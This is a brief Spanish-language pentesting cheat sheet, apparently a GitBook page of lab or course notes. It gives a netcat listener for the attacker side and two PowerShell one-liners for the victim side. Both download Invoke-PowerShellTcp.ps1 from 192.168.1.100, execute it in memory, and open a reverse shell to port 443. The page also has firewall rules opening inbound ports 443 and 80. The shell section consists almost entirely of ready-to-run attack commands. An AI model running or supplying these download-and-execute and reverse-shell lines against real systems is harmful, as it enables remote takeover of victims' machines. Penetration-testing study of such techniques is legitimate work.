# Misc

## Ejecutar scripts de powershell en kali

## Reverse shell

Desde la máquina atacante:

```
C:\AD\Tools\netcat\nc64.exe -lvp 443
```

Desde la máquina víctima:

{% code overflow="wrap" %}

```powershell
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-PowerShellTcp.ps1'));Power -Reverse -IPAddress 192.168.1.100 -Port 443

powershell.exe iex (iwr http://192.168.1.100/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 192.168.1.100 -Port 443
```

{% endcode %}

## Agregar excepción en el firewall

### Inbound

Command line:

```powershell
New-NetFirewallRule -DisplayName "Allow Port 443 Inbound" `
    -Direction Inbound `
    -LocalPort 443 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

```
New-NetFirewallRule -DisplayName "Allow Port 80 Inbound" `
    -Direction Inbound `
    -LocalPort 80 `
    -Protocol TCP `
    -Action Allow `
    -Profile Any
```

GUI:

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F0YphpLIu8FWgaxLcFFni%2Fimage.png?alt=media&#x26;token=8d735dde-e240-46af-a41f-e55688ccdeab" alt=""><figcaption></figcaption></figure>
